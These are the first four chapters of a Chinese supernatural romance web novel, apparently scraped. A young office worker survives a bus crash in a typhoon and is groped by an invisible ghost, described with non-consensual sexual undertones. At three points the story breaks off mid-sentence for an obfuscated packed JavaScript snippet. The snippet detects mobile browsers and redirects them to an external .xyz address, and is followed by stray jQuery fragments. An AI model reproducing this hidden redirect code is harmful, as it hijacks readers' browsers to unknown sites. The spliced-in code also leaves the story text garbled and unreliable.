《被阴湿男鬼强制后躺平了》
1. 第 1 章
“据本台记者了解,今年七号台风即将逼近我国东南沿海……”
一辆半旧的公交车行驶在蜿蜒山路上。
山头下了点小雨,窗户紧闭,又正值酷暑,整个车厢又臭又闷,扰得人不得安生。
上了年头的无线电广播倒还在负隅顽抗,只是苦于山中信号差,播报的声音断断续续,听不真切。
“请市民注意,刺啦——台风,刺啦——”
“公司也真是的,偏要挑一个台风天出来团建。”
宋辉洄旁边的胖同事主动上前掐断了广播,回到座位时嘟嘟囔囔的小声抱怨。
汽油的臭味挥之不去,宋辉洄只觉得脑中昏沉,胸腔发闷,像是要晕车。
他没作声,把头轻轻靠抵在汽车窗上。不一会儿,嗡嗡作震的车窗又让宋辉洄放弃了小憩的想法。
——好晕。
宋辉洄慢吞吞的低头,细白的手指捻住包的边缘,扯开。他继续伸手在里边搅了搅,终于在一众薯片饼干里拎出一瓶小小的风油精。
“说起台风,你们知道最近流传很火的一个都市传说吗?”
胖同事抱怨完又觉得无聊,转头和后排的同事们开始了闲谈。
宋辉洄喜欢听故事,闻言,一只手捏紧风油精,也悄悄竖起耳朵偷听。
“传闻说,在最近的F市有一班鬼公交。”
宋辉洄一面听,一面只手捏紧了风油精。
他很节省,一瓶风油精扣扣搜搜的用了五年,瓶身的贴纸都褪了色,只能依稀看出拓印的‘风油精’三个字。
“鬼公交,于极端恶劣的天气出现在人迹罕至的郊区。据说啊,鬼公交没有司机。要是遇到错过晚班独自行走的路人,鬼公交就会停下来引诱路人上车。
“但如果有人留了个心眼,仔细看车牌,会发现那上面的车牌号码写的就是——”
胖同事故意压低了声音,眯眼,耸起肩头,伏低了身。眼睛直勾勾地盯着眼前听故事的众人。
窗外的雨似乎下得愈发大了,噼里啪啦倒豆子一样砸在窗户和车顶,众人的呼吸声也随着胖同事的讲诉声放低。
一时间内,车厢寂静得可怕。
宋辉洄也忍不住停下拧盖的手,悄悄地往胖同事的方向侧了侧。
胖同事略顿,扫了一眼屏气凝神的众人,这才缓缓道:
“那车牌上刻得不是别的,是你的死期!”
刺啦——
一声尖锐的金属刮擦声。
胖同事被这突如其来的声音吓得颤了颤,忍不住惊叫了声,一旁围听的众人也跟着抖了三抖。
“什么东西??!”
胖同事缓过神,立刻惊恐的四下探查。
可四处没有异常,他们所乘坐的公交车依旧平稳的行驶在山路上。只是速度似乎是比常时快了点,且隐隐有加速的趋势。
“台风天,公交车。”
有胆小的已经开始发散思维,双眼放空的盯着窗口湿漉漉交错的雨痕:
“我们坐上的不会真的是……”
旁的不说,胖同事方才诡异的强调混着窗外喧杂的雨,的确像极了某种电影的开头。
“不是不是!”
宋辉洄赶在气氛焦灼之前主动站出来认罪。
众人被他的声音吸引去注意力。就见他左手高高捏着一只风油精小绿瓶,螺旋状的绿漆漆瓶口上,瓶盖赫然不见踪影。
宋辉洄无辜的乌色圆眼眨了眨,指腹捏紧了瓶身,将它转了一圈,佐证自己的话般,道:
“我刚刚手没拿稳,让瓶盖刮蹭到窗户上了。不是鬼,不是鬼。别害怕。”
此话一出,气氛总算放松下来。
宋辉洄长得一张漂亮清纯的脸,在同事中间很受欢迎,松懈下来的大家伙儿也没怪他,有几个关系亲近的开口还打趣宋辉洄:
“小宋啊,你下次可别再在关键时候拿不稳东西了,我要被你吓死了。”
胖同事也松了口气,主动凑近宋辉洄,嬉笑道:“哥们你刚才差点把我吓死,我还以为我一语成,成……”
“成谶。”
宋辉洄乖巧的接过胖同事的话头。转头露出一个甜甜的笑。
给同事们道完歉,他又慢吞吞的蹲下身,要去拾起滚落在座位底下的瓶盖。
座位空隙很狭窄,宋辉洄只得跪在中间,缓缓的塌伏下腰,伸出细白的手,胡乱探摸。衣服下摆顺着腰肢伏下的弧度缓缓下滑,露出一截白得晃眼的软肉。
底部又黑又窄,宋辉洄看不清底下的状况,只能凭记忆中瓶盖掉落的方位慢慢探找。
指腹擦过冷硬粗糙的地面,宋辉洄没用力,却还是觉得发刺且痒。经过了几秒钟漫长的探寻,终的,宋辉洄的小指头碰到了一块圆柱状的小型坚硬物体。
冰凉凉,底部有窄小的凹陷。
宋辉洄二十年的经验告诉他,这就是他寻找已久的瓶盖。
他的脸上露出微不可查的欣喜,缓缓抻开手掌,打算用指腹慢慢蹭出瓶盖。
瓶盖又圆又滑,宋辉洄打了十二分的精神,生怕力道一个收不住,瓶盖就会骨碌碌滑远。
那么,可怜的宋辉洄就再也找不到他漂亮的瓶盖了,跟了他五年的风油精瓶从此没了它的瓶盖,那它还是原来的风油精吗?它从此就不完美了,它丑陋的瓶口会裸露,会渗漏出一大坨绿漆漆的浓液,恶心的,刺鼻的,将可怜的宋辉洄的小包弄得——
好冰冷。
宋辉洄的手一滞,定在原地,缓缓睁圆了眼。
刺骨的冷,钻心的冷,不是寻常的冷,而是从接触的那一小块皮肤开始,一只名为冰冷的小虫钻进躯体,咕隆咕隆,呲咕呲咕,它爬呀爬,爬到宋辉洄的脊背里。
那不是地板,也不是瓶盖。
——是一截粗大的、人的指节。
皮肤粗粝,但比瓶盖柔软多了,薄薄的一层皮肉扒在粗大的指骨上,
宋辉洄瞳仁略微一缩,指头顿在原地,脊梁骨上冰凉的小虫又开始咕噜咕噜的窜,凉得他指尖可怜地一颤。
他无助的吞了吞喉咙,颤巍巍的举起小拇指,不信邪似的,朝着那东西又蹭了一下。
一下,是柔软的皮肤,和刚才碰到的一模一样。
两下,是坚硬的瓶盖,宋辉洄的瓶盖又安静的躺回了原地,好像什么也没发生过。
果然是自己晕车后的幻觉。
宋辉洄垂下眼睫,微不可查的挪了挪身体,俯低身,打算一鼓作气将瓶盖拯救而出。
可就在他继续专心致志蹭滚着瓶盖时,忽地,从他的头顶后侧传来一声惊叫。
于此同时,宋辉洄裸露的后腰箍上了一只冰冷粗大的手掌。
指腹粗粝,力道也不小,箍得宋辉洄很疼,叫他忍不住摆了下腰臀。
“等下,司机呢??!”
惊呼声是从侧后方发出的,宋辉洄第一时间企图反射性的抬头去看,但碍于狭小的间隙,他没能得逞,反而把自己往大手箍成的圈里送了送。
众人都被那声惊呼声引去了注意力,自然没有注意到角落里面色古怪的宋辉洄。
顺着手指的方向望去,可以很轻易的注意到最前方那个本应该坐着司机的、如今却空白的座位。
抬手的同事手直抖,嘴巴哆嗦两下,想讲话,讲不出来。
胖同事不信邪,抬腿‘噌噌’两下子走到前面,一把扯开司机座位上的深蓝色褶子帘。
刷啦一声响,座位一览无余。
没有人。
胖同事的脸瞬间白如纸,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16507045|186121||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
瞪大眼,死死盯着空白的座位,豆大的虚汗从额角渗出。
“人、人呢?”
车是公司包下的,上车前明明是有一位长相憨厚,为人沉默的大叔坐在驾驶位。
可司机一路上都没说话,话多的胖同事也不是没有和司机搭话过,但都是以沉默收场,久而久之也没人再在意过他。
他是什么时候不见的?!
速表盘上的指针以一种极快的频率没有规律的快速摆动,像是一只畸形的黑色眼睛抽搐着眼皮,让人无法看清表盘上代表速度的数字。
但就算看不清,窗外极速掠过的树枝晃影也昭示了一切。
F市的郊区多的是高耸的山群,山路蜿蜒,拐角多。
且不巧的是,他们的前方正有一处。
胖同事的眼皮剧烈抽搐了下,侧头,窗外黑黢黢的山崖深不见底,大雨织成的雨帘密集的往下灌,依稀能听见山崖巨石被激流击打的脆响。声音响烈,恍惚间,叫人错觉是自己头盖骨撞击巨石而挫裂的钝响。
“快踩刹车!!”
没有时间犹豫了,胖同事凄厉的大叫一声,随即立刻用脚尖抵住刹车板,用力的,狠狠的,将它向下踩——
他踩得很用力,拼命把身体挤进座位,关节发出嘎吱嘎吱的响声,底下的刹车片也发出嘎吱嘎吱的响声,作弄人似的,嘎吱嘎吱,好像和人骨头的响声做回应。
一秒,两秒。
刹车纹丝未动。
“踩不动,为什么踩不动??”
公交车在以一种极快的速度在滑泞的道路上飞驰,胖同事的脸已经汗如雨下,他用力的又踹了两下,小小的一块刹车片坚硬得如同顽石。
其余人在怔愣两秒之后也飞快反应过来,踩刹车的踩刹车,拉手刹的拉手刹,整个车厢缠作一团乱麻。
惊叫声,错杂的踩踏声,还有汽车发动机嘈杂的轰响。
“刹车片卡住了?!!”
“先别拉起手刹!”
“右转!打右转方向盘!!”
——这样恶劣杂乱的环境,宋辉洄可怜的哼咛自然无人在意。
他被卡在两个座位狭小的缝隙间,那只冰冷的大掌顺着伏下的角度下滑,掐着软肉,又浅尝辄止,虎口摩挲了下,最后停在宋辉洄腰间的一颗小红痣上。
软肉下陷,隐隐是五指状的轮廓。
宋辉洄看不到后面的情况,他只觉得腰间很痒,感觉有人在掐摸。可是他努力低头,透过自己手臂和腰部的缝隙往后看时,后方分明是空无一人。
宋辉洄慢吞吞的眨了眨眼皮。
惊叫声一轮接着一轮的来,众人手忙脚乱的挽救并没有起任何一丁点儿效用,反而是激怒了暴怒的公交车。
呼啸的雨点暴烈的击打在铁皮车顶,哗啦啦哗啦啦,车轱辘不要命的乱滚,滚过泥泞的雨路,滚过狰狞的虬枝,一头猛扎进弯角黑洞洞的山崖里头。
尖叫。
刺耳的尖叫声在车头撞破围栏,探出它桀骜不驯的头颅时达到了顶峰。
但意料之中的失重感并没有袭来。
车身在猛烈撞击之下,剧烈摇晃了片刻,竟很快不动了。半截车厢悬停在高崖外,半截车厢停在山路,分毫不差,维持着诡异精妙的平衡。
停顿来得迅猛,惯性使然,宋辉洄手肘一个不稳,身体眼看着朝一旁狠狠摔去。
有什么东西不轻不重的从侧提了下宋辉洄的腰,让他靠在了柔软的垫子上。
下一瞬,腰后冰冷的手瞬间抽离,衣料重新覆盖住裸露的肌肤,宋辉洄跌坐在地上,呼呼喘了口气,视线失焦又聚拢,半晌缓过神,望向自己的腰。
空无一物的腰,车也停了。
好像刚刚发生的一切都只是宋辉洄的幻觉。
2. 第 2 章
是幻觉吗?
宋辉洄软倒在座位上,低头望着腰,久久未动。
车厢里是死一样的寂静,所有人白着脸,仓惶的顿在原地,是吓傻了,也是怕自己的任何移动打破了车辆的平衡。
有人哆嗦着从裤兜里摸出手机,号码的播报声清晰,三声,之后是拨出后长久的‘嘟嘟’响。
这里没有信号。
“大爷的,什么破地方破事情都让我们遇到了。”胖同事哆嗦着唇,没忍住爆粗。
宋辉洄的位置在车厢偏后,姿势对平衡没有太多影响。他短暂的发懵之后用手肘撑住车座,试探性的站起一点,朝着车窗外望去。
外边是一副让人心惊肉跳的景象。
车轮滚着浓烟,还在小幅度的转动。车厢的大部分都在悬崖之外,只有可怜的一小节还留在地面。
但恰好的是,宋辉洄所在的位置正是悬停的分界线。
——很奇怪,这样泥泞的路,这样极端的比重分配,车辆停得却稳稳当当,犹如停在平地。
众人缓了一会儿,也就抓紧时间用窗边的铁锤砸出了一个可以容纳人通行的口子,一个接一个搭着手爬出去。
宋辉洄是最后一个出去的。
他踩着椅面,垫起足尖,搭住外边同事的手,用力撑住车框,掌面隐隐泛白。
他的后面没有人替他承接下半身的支力点,所以宋辉洄卯足了劲儿,打算一鼓作气的翻过去。
三,二,一。
宋辉洄深吸一口气,足弓紧绷,用力往上一翻。
敲出来的大口并不平整,还有细碎的玻璃渣。宋辉洄原本做好了被玻璃划破皮肤的准备,可就在他翻上车框但那一刹那,奇异的小冰虫好像又开始呼哧呼哧的在他的脊柱里爬上爬下,冰凉凉,痒极了。
宋辉洄一顿,皮肤起了点儿鸡皮疙瘩。
没等他琢磨这忽然出现的怪异感,他的臀好像被东西托了下,轻飘飘往上带。
力道不轻不重,说是有人在后边托举着也成,说是惯性借力也不算牵强。
宋辉洄吞了吞喉咙,毫不犹豫的选了相信第二种。
他没吭声,借着这股力让自己的身体完好无损的钻过了口子,脚尖落在平坦的路面上。
见大家都安全下车,众人紧绷的神经也松了松,开始盘算商量着往回走。
山路虽然蜿蜒曲折,但好在他们都是沿着沥青路面一路开上山的,要往回走到山脚也很容易。
宋辉洄低头,也拿起手机不信邪的摁了几个号码,不出意外的拨不出去。
他抬眼望阴沉沉的天。
浓重的云如同大石一般压在山头,遮住太阳。雨点变小了,淅淅沥沥的往下掉雨珠,打在人身上,怪冷的,简直不像是南方八月酷暑该有的温度。
宋辉洄只穿了一件单薄的白色短t,不免觉得寒气森森。
好冷。
他抬手搓了搓手臂,又很快放下来,将自己的背包揣抱在胸前,鼓鼓囊囊的挺腰往前走 。
宋辉洄走得慢,走走停停间就落到了队伍最后面。
呼呼冷风打来,宋辉洄正专心低头赶路呢,忽地右肩膀猛然拍上一只掌!
宋辉洄惊弓之鸟般往旁一瞥,就见胖同事的一张脸蓦地在眼前放大。
“小宋啊,你怎么走这么慢?是不是吓着了?”
宋辉洄不着痕迹松口气,摇摇头,老实道:“我体力不好才走得慢。但刚才我是真的被你吓着了。”
胖同事姓陈名力,为人爽快乐观,闻言乐呵呵地又重重一拍宋辉洄的肩,丝毫不见刚才车上那副被吓得青白的模样。
这会儿从车上逃命下来没过十分钟,他居然就又起了闲心,调侃宋辉洄:
“还说刚才没被吓着呢。平常怎么不见你反应这么大?”陈力龇牙笑:“你不会真怕鬼吧?”
陈力说完,没等宋辉洄反应,熟络的搭上他的肩,拍胸脯哄宋辉洄:“你放心吧,陈哥拿头发跟你保证,绝不是见鬼!”
——没有见鬼吗?
宋辉洄眨了眨眼。
他的直觉总是在告诉他哪儿有点不对,宋辉洄只得含糊的‘嗯嗯’几声,没接茬,打算把这个话题糊弄过去。
可陈力还在讲,讲得更起劲了:
“我估摸着这司机应该就是下车忘记拉手刹,我看那车也旧了,刹车片坏了也能理解。就是咱倒霉,刚好遇上这台风天……”
宋辉洄安静的听,一面有一搭没一搭点头,心思却飘忽到很远的地方去了。
很少有人知道宋辉洄是在一座破道观里养大的。
老观主一把年纪,半截身子都要入土了才收养了这么个小孩。既是当爹又是当妈,一把屎一把尿的把宋辉洄拉扯大,却不从不让宋辉洄碰他看家的本事。
他说,娃儿长大要去考好大学,找个体面的工作,一辈子稳稳当当,不要再走他的老路,命都保不齐。
宋辉洄一向都是个听话的孩子。
老观主让他别干这行,他也从不偷学;老观主让他考大学,他就考大学;老观主让他找一份安稳的工作,宋辉洄也乖乖照做了。
至于这次他们究竟是不是真的撞鬼了……
但愿没有吧。
宋辉洄垂落眼睫,收起莫名的情绪,同陈力一起迈步往前走。
一行人稀稀拉拉的向前挪动,宋辉洄也不知道过了多久,前方的坡道忽地冒出一个黑黢黢的脑袋,紧接着,是脖子,是身体,一个完整的熟悉人影出现在坡道上。
正是消失的司机。
他累得气喘吁吁,双腿打抖,神色惊慌不安。
当宋辉洄一行人出现在他眼前,司机大叔面部肌肉陡然一松,迈开疲累的腿,朝着众人踉跄跑来。
“你们,你们没事吧??”
“你上哪里去了??!”
有人率先怒不可遏的质问。
见到是罪魁祸首出现,众人也耐不住心中的火气,七嘴八舌的嚷开了:
“就是就是,车都差点掉下悬崖了!”
“我们差点就全死在那里了!你一个司机怎么会不在车上呢?”
司机脸色也不好,他低着头,双手无措的搓着衣服,恍惚道:
“我也不知道我今天是怎么了,我刚刚开着开着感觉车头碾到了什么东西,吓得我下车去看,结果看见了一只浑身是血,皮肉模糊的黑狗。”
司机说着,重重的吞咽了下,继续回忆:
“它恰好卡在车轮底下,我只能用力把它拽出来。可我怎么拽也拽不动,它骨头都露出来了,还是死死卡在那里,跟见鬼了一样。但后面不知道为什么,它就动了,自己跑出轮子,然后车也开始动,我才意识到我下车时没有拉手刹……”
司机越说,众人的表情越沉越白。
忽然冒出的黑狗,失灵的刹车,消失的信号。
一切的一切,都让这个黑沉沉的雨天显得愈发压抑。
况且,宋辉洄抬起眼,隐蔽的瞄了眼不远处的山头。
这里还有一处极为出名的乱葬岗,正是山鬼最喜盘踞的地方。
其他人显然也意识到了这一点,司机大叔立刻面色苍白的闭起眼,手里紧紧抓着一串珠,嘴里念念有词的呢喃了几句经文,又睁眼对着众人道:
“今年这里已经出了不下十起车祸了,神仙保佑,神仙保佑,定是神仙显灵阻止那东西了。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16507046|186121||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有人开始低声啜泣。
陈力则是在队伍后面骂骂咧咧,愤怒的扭头和宋辉洄小声抱怨:“放他爹的狗屁,就是这司机自己开车分心,还想把责任推卸到鬼身上,我呸——”
“要是真有鬼,为什么要停住车?不弄死我们?明明就是没有鬼!”
宋辉洄顿了顿,瞧了陈力一眼,默默补充了另一种可能性。
不仅有鬼,还是有两只鬼。
一只要害人,一只要救人。
但这想法不免有些天马行空,宋辉洄暗暗否决,转头冲着陈力点头道:
“你说的对。我们不要搞迷信。”
陈力‘哼哼’两声,面色稍霁。
雨有越下越大的趋势,沿着原路下山有山体滑坡的风险。众人商量之下,打算前往半山腰的营地将就着度过一晚,等第二天雨停了再做打算。
信号还是没有恢复,所幸大家本就打算要在山里呆一个晚上,物资带得充足。营地离此地不远,司机带大家抄了小路,不出五分钟便到了营地。
宋辉洄沉默的开始搭帐篷,司机和其他几个同事则是开始想尽办法找信号。
功夫不负有心人,老旧的收音机发出了滋啦滋啦的响声,很快,一阵杂乱的电流声后出现了久违的新闻播报声。
“据气象局报道,滋啦,七号台风忽然转向,滋啦,已经在我国F市沿海地区登陆,请做好,滋啦滋啦——”
收音机静了一会儿,宋辉洄在搭好的帐篷里听到外面的同事在小声欢呼,庆祝信号恢复了点。紧接着,收音机又开始冒出滋啦滋啦的声音。
哗啦啦——
宋辉洄小心翼翼的拧开水龙头,生锈发绿的管子里咕噜噜的开始冒出透明的山泉水,温温的,刚刚好,滑过皮肤舒服极了。
帐篷很薄,外边的声音分毫不差的落入宋辉洄的耳朵里。
播报声又停了,收音机重新开始滋啦滋啦响。
宋辉洄侧耳听了会,见没动静了,便低头继续自己的动作。
他很爱干净。
方才一遭之后宋辉洄的脊背、脖颈都出了一层细汗,薄薄的白t腻在他皮肉上,很不舒服。
还好营地里有接山泉水,水流虽然不大,却也够宋辉洄擦一遍身子了。
水龙头很矮,宋辉洄只得佝起雪白的背,小心翼翼的让这细小的水流淌过肩头。
大概是换了个方位,外头的收音机又接收到了信号,继续尽职尽责的开始播报:“受七号台风影响,滋啦,f市沿海地区的信号基站有不同程度的损毁,造成部分地区通讯受影……”
果真是意外吗?
宋辉洄慢吞吞的垂下头,用手拨动温顺的水流。
温水滴滴流落,沿着他皮肤的走势蜿蜒爬行,在腰窝处汇成一股涓涓细流,探入丰腴的软肉。
在宋辉洄看不见的背后,水势逐渐猖獗,凶猛的咬过细嫩隆起的皮肉,最后滴滴答答的坠下,在地板上汇成一片乌黑的印记。
与此同时,陈力在外边大声嚷嚷,生怕司机听不见:
“我就说吧,就只是个意外,意外!大家别疑神疑鬼的,哪里有鬼啊?”
是啊,哪里有鬼?
宋辉洄出神的想着。
他的手里捏着一块白巾,正无意识的擦搓着。
宋辉洄在走神,可下一秒,粗粝的白色巾帕好像碰到了后腰处的什么伤口,疼得宋辉洄‘嘶’了一声,立刻抽回了思绪。
哪来的伤?
他不解低头,望向疼痛传来的地方。
却见一片白嫩的后腰处——宋辉洄曾经幻觉被箍住的地方,隆起了一块粉嫩的红肿。
掐痕根根分明,赫然是人的指痕。
3. 第 3 章
宋辉洄的脑袋一片空白。
掐痕粗大,宋辉洄甚至都能想象得到指腹那粗粝的触感。
冰凉凉,动作却是过火的。
一瞬间,他脑海中闪过无数种苍白的解释,什么天气不好,水质太差,猫一直叫……
找的借口太多,一时间尽数倒灌进脑子,哄得宋辉洄自己都相信了几分。
可一眨眼,再瞧见自己腰上的明显指痕……宋辉洄吞了吞喉咙,最后还是白着脸,老老实实的转身抬手去扯挂在钩上的白t。
囫囵将白t随便套上头,宋辉洄恍惚缩起身,一屁股坐在板凳上,撑着脸思考‘如果真的被鬼缠上怎么办’。
怎么办怎么办怎么办。
宋辉洄枯坐许久。
老观主早已去世,连个符纸都没给宋辉洄留下。宋辉洄又没有继承他的衣钵,知道的东西都是些只言片语的信息,是个彻彻底底的普通社畜。
他乌黑的圆眼眨巴了数下,连白皙的手臂上都冒出了几个红嘟嘟的小包——蚊子叮的。
宋辉洄伸手挠了又挠,却还是想不出解决办法。
……凉拌吧。
于是,陈力眼睁睁的瞧着宋辉洄只手掀开帘子,游魂似的从帐篷里头出来。
“怎么了你这是?”
陈力大喊一声,宋辉洄头也没回,只幽幽的道:
“吃零食。”
再不吃,宋辉洄怕自己以后没有机会再吃了。
他郑重拉开了背包的拉链。
‘哗啦’一声。五颜六色色彩鲜艳的包装袋就这么全部冒出头,勾引宋辉洄似的,充气的塑料袋发出嘎吱嘎吱的响声。
宋辉洄没心情,于是随便挑一袋。拆开包装,张开唇,蛮横的把宽大的薯片囫囵塞进口腔里。
嘎吱嘎吱,酥脆。
陈力担忧的走近看宋辉洄的状态,见他拧着眉头,嘎吱嘎吱咬薯片,雪腮帮子一鼓又一鼓的。
可不一会儿,宋辉洄的眉头就松开了,眉眼弯弯,眯成一道幸福的缝。
“怎么又开始乐呵了?”
陈力被宋辉洄这阴一阵晴一阵的脾气搞得糊涂了。
“薯片太好吃了。”
宋辉洄一面吃,一面弯眯着眼,口齿不清的交代。
陈力本只是想关心宋辉洄的状态,见状也打算继续忙活。
可正当他准备走时,又见宋辉洄的眉眼耷拉了下来,嘴一瘪,眼眶慢吞吞的红了。
“这又是?”
陈力有点儿拿他没辙了。
宋辉洄伤感:“我家里还有七包这样的薯片,七包,整整七包。都是我凑单满减买来的,还没吃呢。”
没等陈力安慰,宋辉洄抓紧速度嘎蹦嘎蹦咬完最后一块薯片,忽地站起身,拧拳,坚毅地转头对陈力道:“不行,我不能就这样放弃!”
“我要采取行动!”
宋辉洄掷地有声。
说罢,宋辉洄风一样的走进帐篷。
两秒后。
宋辉洄风一样的走出帐篷。
“陈哥,你有带枕头吗?”
宋辉洄羞涩地问。
陈力瞠目结舌的看着,好半会儿才缓过神,艰涩的开口:“这就是你的行动……睡觉?”
宋辉洄耷拉着眼皮,过分乖巧的点了两下头。
这不能怪他,他方才的确有年轻时候的冲劲涌上脑子,甚至还萌生了恶鬼拼死一搏的想法。
可当他走进帐篷准备开始动手,一想到后续的一堆麻烦事,就好像有人拿了一根小针扎破了他的气焰——噗的一声,宋辉洄感觉自己瘪了下去,瘫在地上,不想动了。
算了算了,拯救世界和恶鬼作斗争什么的,还是交给热血漫主角来做吧。
宋辉洄作为一个社畜,他决定心安理得的躺平了。
他从陈力那里顺走了枕头,又从角落里摸索出一块小被子,爬上床,规规矩矩地放平手脚,躺好,闭上眼。
有鬼没鬼,先睡再说!
宋辉洄安详的合眼,准备痛痛快快地大睡一觉。
宋辉洄的头发是天生的自然卷。他侧枕时,颊边的软肉溢出匀在枕头上,微蜷的头发细碎压在额角。时间久了,便有细密的痒,像是有人拿手指在宋辉洄的睫毛上拨弄似的。
宋辉洄猛地睁开眼,伸手去揪额角的头发。
他胡乱揪了一会儿,又把碎发掰正。
做完这一切他也不闭眼,而是死死盯住空中一点,像是要把面前的空气盯出一条缝。
一定是那只鬼鬼鬼鬼鬼鬼!
宋辉洄咬牙切齿。
宋辉洄瞪圆眼,努力威慑那只可恶的坏鬼。
可他坚持不了多久,眼眶便起了涩。于是宋辉洄快速的眨巴下眼皮,随即像是什么也没有发生过一般,对着空气色厉内荏地警告道:“好鬼不扰人清梦!”
说完这句话宋辉洄就后悔了。
这可是只坏鬼。
为表严谨,宋辉洄忙是大声补了句:“坏鬼也不能哦!”
话音落下,帐篷里一片寂静。
宋辉洄眯了眯眼,侧耳听了会儿,针落可闻的帐篷叫他满意的点了点头。于是一扯小被,盖住脸,继续他的睡觉大业。
警告确实有用。
梦香很快席卷了宋辉洄的意识,他的眼皮越来越沉,隐约幻觉自己置身于泥泞的滩涂。
温柔的海水从四面八方层层叠叠拍岸而来,细浪卷边成白沫状。几只调皮的游鱼摆动尾鳍,游过交错的小水渠,直奔宋辉洄而来。
银色月光映着海滩,海面晃开一片模糊的光影,鱼儿的尾鳍也似波浪一般的摆开,成群结队地钻过宋辉洄大腿肉间的小缝。
它们排成队,一只接着一只。偏偏动作迅猛而精准,无论宋辉洄怎么躲也无济于事。
小鱼儿身上黏糊的汁液丰盈,被它们蹭过的软肉都糊上了一层晶莹的汁液,粘糊糊的,甩不掉。
宋辉洄在梦里难受得直摩擦着腿,蹭着小被子,却只感觉越磨汁水越多。
最后一塌糊涂不可收拾,裤子都湿烂得糊作一团,叫旁人瞧了都要直摇头,叹口气问是不是哪儿发大水了。
像尿了裤子。
这个想法叫宋辉洄惊得一大跳,他哆嗦了下,竟然就这么张开了眼。醒了。
宋辉洄醒来的第一件事情就是慌里慌张的探头去看自己的裤子。
光线暗,宋辉洄伸手一摸,裤子里头竟真有点湿湿的。但不是他预料中的湿热,而是黏腻,还有一种海的腥咸味。
仿佛真有小鱼在他睡觉的时候偷偷钻他腿缝,妄图找个隐蔽的小洞筑巢呢。
宋辉洄哆嗦着指尖,扯住衣料的一角,往
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16507047|186121||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
外拉了拉,匆忙瞥了眼。很快,宋辉洄的耳垂便红烂得像树上的小果,熟透了。
“奇怪了……”
他明明从来都不会这样的。
宋辉洄自顾自的嘀咕。
他弯下腰,指尖勾住裤边。他先是犹犹豫豫的褪下一点儿。裤边随着动作停顿,勒住雪白的臀肉,凹下一道雪沟似的痕。
会不会有鬼在看?
宋辉洄的脑子里忽然冒出这个荒谬的念头。
这不想还好。一想,这个念头就死死缠住了宋辉洄。
好似真有一颗又一颗没有礼貌的眼珠如同雨后的蘑菇般泥泞地冒出头:它们毫无节制密密麻麻的生在被宋辉洄打湿的被褥上,生在被宋辉洄足尖踩过的地板上,生在这狭小的帐篷里的每一个角落。
宋辉洄的每一个动作,每一次呼吸的幅度,每一次微弱的心跳,都成了供养眼球生长的血液。
它们得到了美妙的养分,于是猖獗,贪婪的视线犹如游蛇般绕上宋辉洄的躯体,连一点儿细节都不肯放过。
好冷。
宋辉洄轻轻打了个寒颤。
“小宋,有信号了!!”
帐篷外忽然传来熟悉的声音。
宋辉洄恍惚的抬头,答应了一声,企图甩掉被注视的怪异感,随即走出帐篷。
一晚上过去,天际线滚起鱼肚白,朝霞艳丽浓稠得像是打翻的调色盘,空地上还残留着雷雨后泥泞的湿潮。
外边稀稀落落站着人,大家脸上都带着几分劫后余生的喜悦。陈力则是扬了扬手中的手机,朗声高兴道:“刚刚手机信号终于恢复了,我联系上了救援队,咱们应该很快就能出去了!”
话音落下,人群爆发了一阵不小的欢呼声。
信号居然好了吗?
宋辉洄一怔。
信号接通后手机里便源源不断的弹出消息,宋辉洄匆匆打开扫了眼,消息密密麻麻,大多是关心或是播报,唯有一条消息显得格格不入。
「王总:@所有人,没到公司的记旷工。」
宋辉洄:……
宋辉洄这下也没空纠结‘鬼’到底有没有放过他们。
屏幕外的鬼想干什么与否犹未可知,屏幕内的这位才是真见鬼了。
消息是发给所有人的,消息一经弹出,不少人的脸色都沉了下来。
团建是公司强制,原本这位领导王总也要一起跟来参加。但半路他接到了山里封路的消息提前下了山,把众人丢在了山中。
明明知道他们被困在此,却因贪图那点儿救援费坐视不管,甚至还有心情落井下石。
眼下众人狼狈至此,这位‘王总’要占了大半的功劳。
桩桩件件,罄竹难书。
宋辉洄咬着牙,细细念了一遭领导的大名,堵着气,没吭声。
陈力最憋不住火,气得一摔手机,大骂道:“去他大爷的死王汪!欺人太甚!!”
收音机也火大似的提高了滋啦的频响,大声的嚷着叫着,和陈力比声高般吵着要播报新闻:“台风天滋啦滋啦,请市民——”
收音机被掐断了。动手的人是宋辉洄。
他紧紧绷着一张脸,乌色的瞳仁冷不丁的瞧着眼前的收音机。顿了两秒,顶着众人的目光抬起小脸,复读机似的严肃道:
“死王汪,欺人太甚。”
4. 第 4 章
宋辉洄的话音落下,不少人都投以诧异的视线。
宋辉洄平日里在公司从不会大声说话,总是乖巧懵懂的应和着他人。那张水润的唇好像永远不会吐出什么过分的话,咬字从来都是慢吞吞的,像一只脾气很好的水豚。
